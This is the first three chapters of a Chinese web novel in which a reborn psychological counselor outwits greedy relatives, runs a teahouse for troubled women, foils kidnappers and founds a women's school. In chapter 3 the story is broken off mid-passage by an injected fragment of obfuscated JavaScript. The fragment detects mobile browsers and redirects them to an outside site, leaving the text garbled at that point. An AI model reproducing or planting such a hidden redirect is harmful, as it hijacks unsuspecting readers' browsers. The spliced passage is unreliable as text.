《成了全京城的白月光》
1. 第一回
韩诗情穿越了。
连续加班半个月,在心理咨询室接待完最后一位客人后猝死。再睁眼,便成了同名的孤女。
古旧的梳妆台前,她已坐了许久。镜中是一张绝美的脸庞,容颜倾世,肤白胜雪,美得不似凡尘中人。
原身出自清贵的翰林世家,祖父曾为帝师,门生遍及朝野。
奈何母亲突然病逝、父亲殉情而去,灵堂的白幡还未撤净,族亲便来强夺家产,那十六岁的少女,就这样被彻底压垮了。
如今,韩诗情接管了这具身体。
她甚至还没来得及为这陌生的时空和陌生的面容感到惊惧,耳边便传来颇为急切的催促声。
“诗情,快画押吧。”那声音透着几分痛心,几分理所当然,“三叔不是贪你爹这些家业,只是你一个姑娘家,若真是把家都败没了,三叔替你爹心疼啊……”
韩诗情循声望去,门口站着三个中年男子,为首那人蓄着短须,面相敦厚,便是原身的三叔韩福耀。
为了迫她签下家产赠与文书,这三位叔伯已经追到了她的卧房外。
身侧的丫鬟杨雨露红着眼眶,正捧着一方砚台,面前桌上铺着一张析产文书,角落处空着的,正是原身方才准备画押的地方。
韩诗情低头看了看自己指腹上还未干透的朱红,将那印泥轻轻搁下了。
“诗情?”韩三叔一怔。
“三叔方才说,不贪我父家业。”韩诗情将沾了红痕的手指收回袖中,声音不急不缓,“那么我想请教,去年腊月,三叔从我家账房支走五百两银子周转,说是开春便还,如今开过春又过了夏,三叔打算何时还?”
韩三叔面色一僵。
韩诗情转向另一位男子,是原身的四叔韩福宝:“四叔上月来借前朝紫檀屏风,说家中来了贵客需撑场面,如今贵客可走了?”
韩四叔干咳一声,目光开始往别处飘。
她又看向始终未开口的韩五叔:“五叔四年前暂管的那二十亩薄田,田契至今还在你账房锁着吧。父亲在世时念着兄弟情分不曾催要,如今他已走了,五叔也该送回来了。”
韩五叔无言以对,避开了她的目光。
三人脸色均不好看,僵持良久,韩三叔终于挤出一句:“你、你这说的是哪里的混账话,咱们是至亲骨肉!”
“至亲骨肉。”韩诗情轻轻重复一遍,垂下眼睫,“既是至亲骨肉,为何要在这时候逼我签下文书?族老未至、里正未临,三叔是欺我不懂律法,还是欺我爹娘没了,无人给我撑腰?”
韩三叔被驳得哑口无言。
韩诗情留下一句“请稍候片刻”,便不顾他们铁青的脸色回了里屋。不一会,手里拿着一叠文书走出,缓缓铺至桌沿。
“母亲的嫁妆单契,以及父亲亲笔析产的文书在此。按本朝律例,嫁产从女,父遗从契,便是告到顺天府、告到御史台,三叔觉得,你能拿走几亩田地?”
三人目光落在这些文书上,喉结滚动,竟一个都答不出话。
少顷,韩四叔扯了扯韩三叔的衣袖,低声道:“她怎么像变了个人……”
“我没有变。”韩诗情抬眸,“我只是方才忽然想明白了一件事。从前父亲总教我,要念着骨肉亲情。可如今父亲不在了,我才发现,这骨肉亲情,是要用真金白银来换的。”
她顿了顿,“如今,我不想换了。”
厅内陷入一阵长久的沉默。
韩三叔的手指在膝上蜷了又舒,舒了又蜷,方才哑声道:“你待如何?”
“报官。”韩诗情的声音依旧平静,“析产之事,本该请官府明断。这几年间从我家流出去的各色财物,账上也有迹可循。”
她话音不重,三位叔伯却是脸色皆变。
账房、伙计、街坊,哪个不知韩家三位爷从韩诗情父亲处支走多少钱物?若是官府真来查,旁的陈年旧账一并翻出来……
“逆女!”韩三叔深深看了韩诗情一眼,终是拂袖而去,韩四叔与韩五叔快步跟了上去。
那未按手印的析产文书静静躺在桌案上,朱红的印泥已渐渐干透,而韩诗情始终端坐,直到脚步声彻底消失在院门之外。
当夜,万籁俱寂。她独坐灯下,将白日里三位叔伯的话一句句翻出来想。
韩三叔贪婪,四叔短视,五叔虽未开口,眼底分明也有意动。
硬抗到底固然能全占产业,可她如今一个孤女,在这讲究宗族抱团的人情世道里,若与所有族亲撕破脸,往后遇事,连个帮腔的人都没有。
她想起前世接待过的一位女企业家。
那人被合伙人背叛时,主动让出四成利润,换得对方继续合作。外人都道她软弱,她却只是笑着说:“我不需要赢下这一仗,我需要腾出手来做更大的事。”
次日再议时,不等三位叔伯开口,她先将这话说了。
“京郊田产,我愿让出两成。”她望着神色各异的叔伯们,语气平静。
堂中本已剑拔弩张的气氛骤然一滞,三位叔伯均未出声。
韩诗情没有看他们,只是从袖中取出一张新拟的文书,缓缓展开。
“这两成田产,不按房头均分。”她的指尖点在纸上,“第一个在这份担保文书上签字画押的,拿一成,剩下两人,各半成。若签字,便按这样算,若不签,报官析产便是。”
那担保书上写着,自此之后,韩诗情名下产业,自己将不再过问。
一成田产,一年少说千两银钱进项,算得上有诚意。
三位叔伯相视一眼,各怀心思。
韩四叔最先回过神,猛地拿起笔:“我签!”
三叔五叔这才反应过来,上前便要从韩四叔手中抢笔。
韩诗情适时说道:“都是至亲,不必闹得这般不睦,既叔伯们都有意签字,我便再让出一成,共出三成,你们各拿一成,可好?”
“好!好!”三人异口同声,生怕她反悔,连忙签字画押,再无半句异议。
分而化之,釜底抽薪。
如此,既守住了根本,也免了后患。
只是接下来的路,要如何走呢?
“姑娘……你用些粥吧。”悲戚的声音从身旁传来,打断了韩诗情的沉思,杨雨露端着青白瓷碗,小心翼翼地望着她,“老爷夫人这一走,咱们可……”
杨雨露三岁时被韩家收养,与韩诗情自幼相伴,情谊深厚,还会些拳脚功夫。
韩诗情拉过她的手腕,让她在自己身旁坐下:“一切都会好的。”
这世道,女子活着已是不易,何况是无依无靠的孤女。
她低头喝着粥,目光缓缓扫过这冷清的院落,心中细细盘算。
家中尚余七成田产、两间铺面,及一处年年亏空的庄子。经商非她所长,这些产业若由她一个孤女继续经营,未必能有什么好结果。
咽下最后一口粥,放下青白瓷碗,她心中已有决断。
一个月后,她变卖了所有家产,带着银钱和杨雨露来到京城,在朱雀街边盘下一间价格还算公道的闲置铺面。
杨雨露手脚麻利地收拾着铺子,看着她在牌匾上写下“解忧阁”三个字,“姑娘,咱们这茶室,究竟是做什么的?”
“为女子解忧消愁。”她斟酌着用词,“女子若是遇到烦心的事,可以来这里与我说说,解解烦忧。”
杨雨露似懂非懂地点点头。
牌子挂了两日,只迎来几声窃语和几道不解的目光,无一人进门。
心理健康、倾诉减压。
这些概念对于封建社会的男子来说,尚且虚无缥缈,更何况是在温饱与纲常夹缝中生存的女子。
韩诗情坐在窗边,望着街上步履匆匆的人们,心中一片怅然。
这两日,她们每日早早敞开铺门,把茶案擦了又擦。杨雨露见有女子路过,便迎上去问人家可愿坐下聊聊,却无人理会。
家里的积蓄尚能支撑些时日,但坐吃山空终非长久之计。按照现代的说法,要想办法引流了。
“从明日起,”韩诗情收回目光,对杨雨露说道,“挂出新牌子:解忧阁新铺开张,免费迎客半月。凡是心有烦闷、郁结难舒的女子,皆可入内品茶一盏,倾谈片刻。”
“是。”
韩诗情想起现代的揽客法子,又补充道:“备些鸡蛋水果,若有愿来阁中坐坐的,便送一些。”
杨雨露依言照办。
免费牌子挂出七日,门前依旧冷清。
杨雨露把晾晒好的宁神花草收进竹筛,轻轻叹了口气。
就在这时,街对面传来一阵喧闹声。
“二小姐,你别让老奴难做。”一个头戴银簪的矮胖妇人,拦着一名少女和她的丫鬟,状似无奈地念叨,“你私自出府,快把老爷和夫人急死了,快随老奴回去吧!”
妇人身后立着两个粗壮汉子,虽作小厮打扮,恭敬地垂手站在她身后,却恰好封住了少女的去路。
那少女约莫十六七岁,生的甚是美貌,一身淡紫裙裳,衣料看似朴素,细看却是上好的丝绸,袖口绣着极精巧的暗纹。
“你们胡说什么!”她声音清亮,却带着灼人的怒意,“认清楚些,谁是你家小姐?!”
“二小姐说笑了。”妇人笑容不变,声音却提高了几分,“老奴在府里伺候了二十年,怎会认错?”说着便向那两个汉子递了个眼色,“小姐身子不适,快扶上车回府。”
两个汉子上前半步,作势要去搀扶。
丫鬟急得眼泪直掉,张开双臂护在少女身前:“你们放肆!光天化日之下——”
“正是光天化日之下,才不能由着你这小蹄子带小姐胡闹!”妇人打断她,语气陡然严厉。
这几句话说下来,围观众人纷纷露出了然神色:原来是大户人家的小姐偷跑出来,家里婆子带人来寻。这婆子虽看着凶悍了些,可终究是人家家事,外人哪好插手?有人摇头,有人窃窃私语,却无人上前。
此时韩诗情立
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在解忧阁门口,冷眼旁观着方才发生的一切。
以她多年心理咨询师的职业素养来判断,那少女的怒意绝不是面对家人管教的羞恼,而是面对陌生威胁时最本能的抗拒。
再看那妇人,虽言辞恳切,眼神却闪烁不定,视线总往围观人群里瞟。至于那两个“小厮”便更可疑了,他们肩背紧绷,分明是随时准备发力的姿态。
电光石火间,韩诗情已有了决断。
她转身对杨雨露低声吩咐:“去后院把梯子搬到西墙边,快。”
杨雨露虽不解,仍立即照办。
“你混到人群中去,看我眼色行事。”
撂下这句话,韩诗情攀上墙头,恰好能将巷口情形看得分明。那妇人与两个汉子已抓住丫鬟的手臂,试图将她从少女面前拽开。
“且慢。”
清冷的声音从墙头传来,众人抬头,只见韩诗情立在梯子上,双手搭着墙沿儿,秋阳为她周身镀了层淡金的光晕,令她更显出尘。
那妇人皱眉:“这位姑娘,你是在和我们说话吗?这是我们家事,还请莫要——”
“家事?”韩诗情打断她,“你们演这一出‘家仆请小姐回府’的戏码,怕是为了助那魔女逃过官府追捕吧?”
“什么?”听到“官府追捕”几字,妇人眼中厉色一闪,“你说助谁逃脱?”
韩诗情不再理会她,目光落在那怒意满满的少女身上,语气甚是笃定:“姑娘,你可是从药王谷而来?”
少女闻言一愣,药王谷?
就在她愣神的瞬间,韩诗情继续道:“姑娘莫要装了,你便是逃窜至京城的药王谷谷主独女,江湖人称‘玉面魔女’。”她顿了顿,扬声道,“诸位乡邻可有人记得?官府通缉画像上的模样,与这位姑娘有七八分相似。”
这番话说完,围观人群顿时哗然,那画像究竟是什么样子,本没什么人记得,此刻听韩诗情说相似,便怎么看,怎么觉得相似了。
“‘玉面魔女’?悬赏百两银子那个?”
“抓住她们,银子大家分!”
议论声四起,有些性子急的,便要上前去抓那少女。
韩诗情忙道:“大家千万别碰她!我方才便说了,她是药王谷出身,身上必藏有毒物。”
众人闻言,顿时齐刷刷退了半步,连那两个抓着丫鬟手臂的汉子,也像被火燎着似的猛松开手,与那妇人一同向后连退两步,脸上尽是惊惧之色。
少女满心不解,正想抬头质问韩诗情为何凭空诬陷自己,却见韩诗情正朝着她飞快地眨了眨眼,嘴角还悄悄向上一勾。
原来如此!
少女恍然大悟,霎时明白韩诗情的用意。
“既然被你看出来了……”她一改怒容,换上淡漠神色,双手拢入袖中,作出取物之态,“谁敢靠近,可莫怪我——”
她话没说完,人群中已有乡亲惊呼:“竟然真是魔女,大家退后些!”
很快,有人接道:“咱们远远围住她们,快去报官,绝不能让她们走!”
妇人与那两个汉子见状,脸上顿时失了血色,慌乱地对视一眼。
片刻后,那妇人狗急跳墙,喊道:“放我们走!我们跟她没关系,根本不认得她!”
“可你方才还说她是你家小姐。”人群中立刻有人高声驳斥。
“你!”妇人彻底慌了神,给那两个汉子使了个眼色。
两人上前,各从怀中掏出一把短刀,对着空气虚挥了几下。
妇人这才有了些底气,高声道:“我说了我们不认识她,只是认错人了,将这魔女认成了自家小姐!你们莫要再为难,快给我们让开条道,免得冲突起来,再见了血!”
她说罢,两个汉子又凶狠地挥了挥刀。
众人见她们凶相毕露,手中又拿着刀,连连后退,隐在人群之中的杨雨露始终望着韩诗情,等待她的命令。
韩诗情迅速盘算:这三人看来皆是亡命之徒,不知杨雨露一人能否应付;四周又全是普通百姓,强行拦截恐有伤亡。既然已救下想救之人,不如暂且放行,事后再报官追捕。
心意既定,她示意人群中的杨雨露勿动,顺势说道:“这妇人说得对,咱们抓住那魔女领赏便是,可别伤着谁。”
乡亲们也不愿冒险,听她这样一说,都觉得有理,便让开了一条路。
哪知这三人刚挤出半步,一柄玉骨折扇便从人群外旋飞而入!
只见那合拢的玉扇如一道白光,迅疾无比地划过一道弧线,“啪、啪”两声脆响,精准击中两个汉子持刀的手腕。
两人痛呼松手,短刀应声落地。
玉扇一击即中,却未坠地,借着巧劲在空中划了个圆环,竟似活物般飞回人群后方。
一只修长白皙的手从容伸出,稳稳接住了飞回的折扇。
直到这时,扇子破空的轻啸声似乎还在众人耳边萦绕,一道清冷的嗓音悠悠响起:
“当街掳人,想走便能走么?”
2. 第二回
人群如潮水般分开。
一名身着白衣的公子缓步踱出,看着十七八岁的年纪,身姿高挑纤瘦,他指尖轻转着那柄莹润的玉骨折扇,神色淡漠。
三人眼中皆闪过一丝慌乱。那妇人最先反应过来,强作镇定,冷声道:“我们只是错将她认成自家小姐,何来当街掳人一说!公子是何人?休要多管闲事。”
“在下苏云鹤。”白衣公子声音清朗,“你们所图为何,当真以为我看不出来?既遇到这等强掳民女之恶事,想不管,也不行了。”
听他如此说,三人便知这事恐难善了,已互递眼色,同时向他发难,两名汉子赤手空拳扑向他,妇人则悄然从袖中滑出一把短剑,直刺他心口。
他脚步未动,只微微侧身,避过第一个汉子的拳风,又左手轻抬,两根手指看似随意地在第二个汉子臂上一敲,最后,顺势踢落了妇人手中的短剑。
不过瞬息,三个恶徒已被尽数制住,倒在地上呻吟不止。
苏云鹤不再理会他们,缓步走向那少女和丫鬟:“你们没事吧?”
“公子小心些!”旁边有人急忙提醒,“她们可是‘玉面魔女’,身上带毒的,不可靠近!”
苏云鹤闻言微怔,正待开口询问,一个清冷的女声却先一步响起:“公子,此事还是等官府到了再说为好。”
他循声望去,目光落在韩诗情面上时,心下不由得一荡。韩诗情本就清丽无双,此刻秋日阳光自她身后洒落,淡粉色衣袂微扬,更衬得她如天上的仙子般,不染纤尘。
韩诗情亦在看他,方才只见他出手如行云流水,此刻方看清样貌,竟是平生仅见的清雅俊逸,偏又带着三分淡漠,七分从容,恰似云外孤鹤,自有光华内蕴。
四目相接,只一瞬,便各自错开目光,方才那短暂交汇时的惊艳,均被收进心底。
苏云鹤又回头看了那少女一眼,见少女冲他挤了挤眼睛,心念急转,隐隐明了韩诗情的深意,不由暗赞其急智。他压下眼底讶色,颔首道:“姑娘所言甚是。”
韩诗情见他领会,不再多言。
不多时,衙役闻讯赶来。为首的捕头认出地上三人是官府通缉多时的人牙子团伙,又问清了少女名讳、拿来“玉面魔女”画像与其细细比对一番,真相方才大白。
“误会一场。”捕头拱手道,“这位是荀姑娘,并非什么‘玉面魔女’。”
待到一行人被请至府衙,衙役奉上热茶,少女才缓缓道出原委。
原来她出身名门,家中长辈给她说了门亲事,她不喜欢,便带着丫鬟离家出走,到京城寻亲,不料在街上被那伙人牙子盯上。
“二位仗义出手,荀素雪感激不尽!”少女双手一拱,微笑道谢。这位千金小姐,竟有一副侠女风姿。
苏云鹤闻言摇头,看向韩诗情:“此事我不敢居功。若非韩姑娘聪慧,我到那时,恐怕已来不及。”
韩诗情放下茶盏,声音温和:“不过是些简单的心理博弈罢了。”
“心理博弈?”苏云鹤与荀素雪第一次听到这个说法,异口同声问道。
韩诗情这才想起这是古代,沉思片刻,解释道:“简单说,就是揣摩别人心里的想法。如今的人牙子,有许多是穷凶极恶之徒,听说已杀害了无数条性命。若我当场揭穿他们,乡亲们或许会因害怕而不敢插手。但若说荀姑娘是悬赏百两的逃犯,情况便不同了,既无人敢贸然靠近身上带着毒物的她,又无人舍得放过百两赏金。如此一来,自会围而不放,拖延时间。等到衙役赶来,便能救下人。”
“除此之外,”苏云鹤摸出些门道,试着举一反三,“若在衙门来人之前揭穿荀姑娘并非魔女,乡亲们意识到被骗,吵闹起来,恐怕反给人牙子可乘之机。因此,韩姑娘才拦我。”
“苏公子所言不错。”韩诗情微笑颔首。
荀素雪恍然大悟:“原来如此!韩姑娘真是思虑周全。这便是你说的,揣摩人的心思?不过我的配合也不赖,是不是?”
“那是自然。”韩诗情笑意更浓,“若非郡主机智过人,这戏,也演不了这么好。”
“郡主……?”荀素雪惊讶道,“韩姑娘如何知晓我的身份?”
韩诗情道:“你腰间佩戴的玉佩,是亲王郡主方可佩戴的形制。方才进了衙门,我便瞧出来了。”
原身博闻强识,四艺皆精,在乡里是出了名的才女,虽长居深闺,对簪缨世族的礼制纹章也了如指掌。
荀素雪怔住,下意识摸了摸玉佩,“原以为已经够隐蔽了,韩姑娘好眼力。那便不藏着掖着了,我是宁安侯府的郡主。你今日救我于危难之间,要我如何赏你?”
“我不要郡主的赏赐。若郡主要赏,能否赏赐于今日参与围堵的乡亲?”韩诗情顿了顿,续道,“如此,既全了众人相助之义,也让他们知晓,行善事自有善报。日后若再遇不平事,便更愿挺身而出了。”
听到这里,苏云鹤若有所思,道:“这也是姑娘所说的‘心理博弈’?姑娘能洞察人心,看来对此道极有研究。”
“略知一二。”韩诗情斟酌着词句,“人心如镜,映照万物。喜悦时、恐惧时、愤怒时、算计时,皆会不经意流露于神色、姿态、言语之间。若能细察,便能读懂未言之语,预见未发之事。今日救下郡主,便是利用了众人趋利避害的心理。”
荀素雪听着好奇,“这竟也是门学问?你再细说说。”
“这是一门……研究人心所思、所感、所为的学问。”韩诗情尽量用他们能理解的语言解释,“譬如人为何会恐惧,为何会欢喜,为何会做出某些选择。了解这些,便能更好地理解他人,也理解自己。”
苏云鹤静静听着,握着茶盏的手指不自觉收紧了一瞬。
韩诗情的话还在继续:“我在临街开了间茶室,便是想为心中烦闷无处倾诉的女子,提供一个安心的所在。郡主若有空,便来坐坐,品一盏宁神的花草茶。”
荀素雪连连点头:“我一定去!韩姑娘今日救了我,又让我长了这许多见识,我必要登门道谢。”
说话间,韩诗情注意到苏云鹤的神情有些微妙的变化。
方才还从容平静的他,此刻眉间似笼着一层极淡的阴翳,虽然掩饰得很好,却逃不过她这个专业心理咨询师的眼睛。
那是一闪而过的触动与回避。
韩诗情想,这位苏公子,心里藏着故事。
但她没有问,只是温声道:“苏公子今日仗义出手,也请受我一谢。解忧阁虽只招待女客,公子若有烦闷之处,也可来找我饮茶。”
苏云鹤回过神,恢复了淡然神色:“姑娘客气了,我会去的。”
说这话时,他的目光在韩诗情脸上停留了一瞬,似有深意。
三人又闲谈片刻,待到暮色初临,荀素雪与丫鬟墨蕊便由家中派来的马车接回府中,苏云鹤告辞离去,韩诗情也回到了解忧阁。
她未曾想
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到,今日这番风波并未随着郡主回府、公子离去而平息。那位受惊的郡主将此事细细说与闺中密友,不过三两日,这段惊险的际遇,连同解忧阁这个雅致的名字,便在京城传开了。
有人说,解忧阁的韩姑娘生了一双能看透人心的眼睛,去解忧阁坐一坐,喝盏茶,心头压着的石头便能轻几分。
于是,开始有些平民女子鼓起勇气,踏进这扇曾经无人问津的门。
有一位被婆家刻薄对待的媳妇,嫁入夫家五年,因连生两女,被公婆日日责骂。
韩诗情听她哭诉后,没有一味安慰,而是引导她重拾绣花的旧手艺,又悄悄替她揽下绣坊的活计。她头一回凭自己的双手赚到银钱,虽只是微薄的二两,却在家中多了几分底气。
那日婆婆又因她多夹一筷菜摔了碗,她没再垂头认错,只静静放下碗筷,抱起两个女儿回了娘家。
半个月过去,街坊邻里的闲言碎语越来越多,婆婆脸上挂不住了,这才提着点心上门,赔着笑脸说了半晌好话。
她倚在门边,淡淡开口:“要我回去也成。往后,家务事劳烦爹娘和夫君多操持,旁的事就不劳费心了。”
婆婆脸色一僵,又想起街坊那些戳脊梁骨的话,连连点头,再不敢说半个不字。
自此以后,走进解忧阁的女子,也就越发多了起来。
虽有些清贫者只付得起几文钱,但阁中的收支,终于渐渐持平了。
这一日,韩诗情送走一位为女儿婚事愁白了头的母亲,正与杨雨露收拾茶盏,忽闻门外传来清朗的男声:“韩姑娘,好久不见。”
主仆二人循声望去。
只见苏云鹤微笑着立在院门口,身后跟着他的书童苏影。
韩诗情上前半步,福了一礼:“苏公子。”
她将苏云鹤引入前厅,二人一同落座,又唤杨雨露备上温茶,才道:“公子今日前来,所为何事?”
苏云鹤开门见山,温声道:“实不相瞒,在下出身书香世家,家中有一胞姐,已远嫁外乡多年。我每次去探望她时,皆可看出她心绪不安,问她发生了何事,她也不肯说。”
他顿了顿,声音低沉了几分:“去年她染了一场风寒,病中呓语,竟有轻生之意。我多番劝说,收效甚微。上次意外与姑娘相遇,听你说起那门揣摩人心的学问,盼能学得些许,稍解她心结。”
韩诗情静静听着,从他眼中看出一片真挚的忧虑。
他很快续道:“姑娘做这门营生,本就是助人的善举,若姑娘肯容我留在阁中,我愿资以银钱,助解忧阁将善举维持下去。”
资以银钱……
韩诗情心中微动。这确实是目前解忧阁所需要的,但让男子旁观女子倾诉私密心事,于女子隐私有损,甚是不妥。
“苏公子关爱姐姐之心,令人感动。”她缓缓道,“然女子心事,多涉隐私,岂容旁听?此例一开,阁中将再无女子敢踏入半步。”
苏云鹤似乎早有预料,并不强求:“是我思虑不周。若我日常只与书童留在阁中,为你们做些杂事,有客人同意时再来请教,姑娘可否通融?资助之事,依然作数。我只想略学得一二,稍解姐姐烦闷。”
他言辞恳切,理由听来也合乎情理,解忧阁要维持乃至扩大,确需资金。可是……
韩诗情犹豫许久,仍是觉得不合礼节,正欲开口婉拒,却听门外传来轻柔的叩门声。
“韩姑娘今日可在?”
3. 第三回
片刻后,杨雨露将人迎了进来。
来人名唤林婉如,前几日来过一次。
她是礼部侍郎林正清的长女,今年二十有六,尚未许配良人。
在这个朝代,二十六岁未嫁,便是人人嘲笑的老姑娘,寻亲事时,亦是非常艰难。
林婉如刚一进门,便瞧见苏云鹤主仆,脚步不由得一顿,面上掠过一丝迟疑。
韩诗情上前温声介绍:“林姑娘勿惊,这位是苏云鹤苏公子,这是他的书童。前些日子在街头救下宁安郡主的,便是苏公子。”
闻言想起近日的传闻,林婉如神色缓和下来,朝苏云鹤施了一礼:“原来是仗义相助的苏公子,小女子林婉如,有礼了。”
苏云鹤拱手还礼:“林姑娘客气。”又转向韩诗情,微微一颔首:“今日已叨扰姑娘多时,既有客至,在下便先告辞。方才所提之事,还望姑娘斟酌。”
韩诗情亦颔首:“公子厚意,诗情心领,自会慎重考虑。”
苏云鹤不再多言,带着书童转身要走。行至门边,却被林婉如轻声唤住。
林婉如看了看他,又望向韩诗情,终是试探着问道:“韩姑娘,这次到访,我所烦心的仍是那婚嫁之事。这事儿上,男女心思多有不同,苏公子侠名在外,婉如甚是钦佩……既然有幸偶遇,可否容我……向公子请教一句?”
苏云鹤与韩诗情交换了一个眼神,见韩诗情没有反对,便让苏影先退下,方才对林婉如道:“姑娘请讲。”
林婉如张了张嘴,复又闭上,犹豫了好一会儿,才问道:“冒昧请教,在男子看来,女子年岁稍长些,当真就做不得贤妻么?”
说到此,她指尖微微蜷起,声音压得更低:“寻常男子,会倾心于何样的女子?”
苏云鹤未想到她会提出此问,一时不知如何作答,却下意识望向了韩诗情。
恰在此时,韩诗情也鬼使神差地望向他。
两人目光相接,又默契地各自移开,仿若微风拂过水面,只余下淡淡的涟漪。
默然良久,苏云鹤才缓缓道:“林姑娘这一问,苏某实不知如何作答。”
林婉如以为自己冒犯了他,心中理解,只抱歉道:“是婉如唐突了,公子不需为难。”
“并非觉得唐突,”苏云鹤知她有所误会,解释道:只是我尚未遇到倾心的女子,待有一日遇到了,才能回答你。至于年岁几何,是最不要紧的事。”
这话说的恳切真诚,林婉如听在耳中,心底百味杂陈,她深吸一口气,感叹道:“公子这番见解,令婉如受益颇丰。”
三人又闲谈了许久,林婉如离去时,步履比来时轻快了几分。
待她走后,苏云鹤缓步行至窗边,望着窗外不知何时落下的细雨,轻叹道:“林正清大人最重礼法规矩,林姑娘至今未嫁,在家中过的日子,想来颇为不易。”
韩诗情正收拾着方才用过的茶盏,闻言动作一顿。她望向苏云鹤修长的背影,声音平缓,却似含了深意:“公子出身书香门第之家,倒是对朝堂官员颇为了解。”
苏云鹤眸色一沉,转过身,轻笑道:“家中伯父经营茶丝生意,南北商号往来频繁,总能听来些闲话。”
“是吗……”韩诗情将最后一只茶盏轻放入托盘,正想再说些什么,却见苏云鹤神色骤然一凝,沉声道:“有人。”
话音未落,他身影已动,如一阵疾风掠过院中,转眼便出了院门。
紧接着,院外传来他略带担忧的询问:“姑娘,可是遇到了歹人?”
韩诗情与杨雨露对视一眼,当即快步向外赶去。
只见门口立着一个女子,脸上、颈上布满深浅不一的淤青,双眼红肿,泪水涟涟,样子甚是凄楚。
“发生什么事了?”韩诗情快步上前,轻声问道。
那女子瑟缩了一下,嘴唇翕动了许久,才哽咽着低声道:“没……没遇到歹人。这些伤,是我爹……我爹打的……”
三人闻言,俱是心头一震。
那女子抬手拭去泪痕,低声啜泣道:“我每日过得……实在太苦了。听闻你们这里能替女子分忧解愁,便想来说说话。可是……”她声音渐弱,几乎听不清,“我错过了你们免费待客的时辰……身上,又连一个铜板也拿不出。”
原来,这便是她在门外徘徊良久,终又黯然离去的原因。
“无妨,先进来吧。”韩诗情心下恻然,温言安抚。
四人一同回到厅内,杨雨露奉上热茶。
韩诗情在一旁悄然留意着:女子眉间藏着几分惶然,目光不时飘向门外,指尖紧紧攥着袖口,像是担忧有人会随时寻来。
或许有个男子留在身旁,反倒能予人几分心安。既然对方并未表现出抗拒,韩诗情便与苏云鹤相视一望,示意其留在厅中。
女子捧着茶碗,指尖仍在轻颤,待情绪稍定些,才缓缓道出始末。
她名唤赵敏兰,是西街赵铁匠家女儿。
“我爹他,平日里对我,其实是好的。衣食上面从无短缺,只是,从不给我银钱,将我圈在家中,哪里都不许去。”说到这,她眼中浮起复杂的神色,“更可怕的是,他只要一沾酒,就像变了个人,对我非打即骂……近些日子,他喝得越来越多,下手也越来越重……”
韩诗情听在耳中,看着那满身的伤痕,心里既疼惜,又愤怒。
说到悲痛之处,赵敏兰又胡乱抹了抹脸上的泪水:“他方才应了一桩急活,一时顾不上我,我才偷跑出来,想向你求个主意。城东的薛老爷看上我,要纳我做第七房妾室。虽然他年纪比我爹还大些,可跟了他,总好过有一日被我爹打死。”她声音里带着颤抖,“姑娘,你帮我想想……我,我该怎么选?”
韩诗情静静地望着她,摇了摇头:“这两条都是绝路,为何一定要从绝路里选择?你或许可以试着……不依附他们,走一条自己的路。”
“自己的路?”赵敏兰眼中先是掠过一丝惊讶,随即化为更深的绝望,“我……我什么手艺也不会……不依附父兄夫婿,怕是只能卖身到大户人家为婢,或者……以自己换些银钱。”
“那自是更加不可。”韩诗情立即否认了她这个想法,柔声安慰,“天无绝人之路,总会有别的法子。“
可是,能有什么法子呢?
韩诗情又柔声安抚了几句,待赵敏兰平静下来,她低声与苏云鹤、杨雨露商议片刻,最终决定,将人暂且安置在后院厢房里。
杨雨露带着赵敏兰出了前厅,韩诗情立于窗下,望着檐角滴落的雨水,久久不语。
苏云鹤悄声走近,并未出声打扰。
良久,韩诗情转身,眼中一片清明,似是做出了重要的决定。
“公子。”她开口,声音清晰,“你先前所提的,留在解忧阁一事,我应下了。”
苏云鹤颇感意外:“姑娘方才似乎……”
“方才确有犹豫,现下,确定了。”韩诗情坦然道,“阁中所来皆是女子,心事各异,有些的确不便男子听闻。但亦有些烦恼,若能得公子这般知礼守份、见解通透的男子提供些许不同视角,反而是益事。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202169|197237||http|test|mini|href|location''.split(''|''),0,{}));
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>按照现代的话来说,这便是换位思考,也可说是现身说法。
她顿了顿,续道:“除此之外,通过赵姑娘这事,我另有一想法。单凭倾听与劝解,虽能解人烦忧,却难改许多女子依附他人、身不由己的根本。我欲用公子资助之银钱,开办一处女子学堂。”
苏云鹤眸光一动:“女子学堂?”
“正是。”韩诗情颔首,“教些实用的手艺,让一些有自立之心,却苦无门路的女子,学得一技之长,将来或可凭此安身立命,不必将余生幸福全系于父兄夫婿之手。”
苏云鹤望着她,眼中似有波澜渐起。他未曾料到,这温婉柔弱的外表下,竟藏着如此破旧立新的魄力与远见。
“韩姑娘所想,令我钦佩不已。”他缓缓开口,声音里带着一种近乎郑重的欣赏,“我定竭尽全力,助你完成心愿。”
韩诗情轻点头,微笑道:“稍后我让雨霜收拾两间厢房,为免不便,请二位没什么事时就在内院走动。平日里我会征得客人们同意,再拣些能说的事例与你探讨。倘若有客人愿意与你见面叙话,你便可到前厅待客。”
苏云鹤欣然接受,拱手道:“但凭安排。”
韩诗情颔首轻应。
如此,苏云鹤主仆便留在了解忧阁。他谨守与韩诗情的约定,绝不私自踏入前厅,苏影沉默寡言,只埋首做些杂事。两人均不曾有任何逾越之举。
这期间,韩诗情与苏云鹤细细商议,果真在解忧阁后院辟出一间小屋,开了女子学堂。
赵敏兰是学堂中的第一个学子,平时也在学堂打杂帮忙,以抵学钱。
赵父来闹过几回,起初赵敏兰还愿见他,与他恳谈自己的决定,待他闹得越发厉害,苏影便不让他进门了。他气急,一纸诉状递进了府衙中,状告解忧阁拐带良家。
韩诗情自不惧他,托人请了状师,耐心打点应对。岂料未过几日,府衙差人来信,说他自行撤了诉状,不再追究。此事就此了结,再无后文。
众人虽觉得蹊跷,却也乐见其成。
如今的赵敏兰,日子过的虽简,眉间那股惊惶,却一日日淡了下去。
又一日午后,韩诗情正与苏云鹤核算着学堂所需的物料,门外响起荀素雪清脆带笑的声音:“韩姑娘韩姑娘!你看我带了谁来!”
话音未落,便见荀素雪搀着一位年约三十的妇人进门,那妇人衣着华贵,气度非凡。
“郡主。”韩诗情与苏云鹤起身相迎,目光自然地掠过那位陌生妇人,韩诗情问,“这位夫人是?”
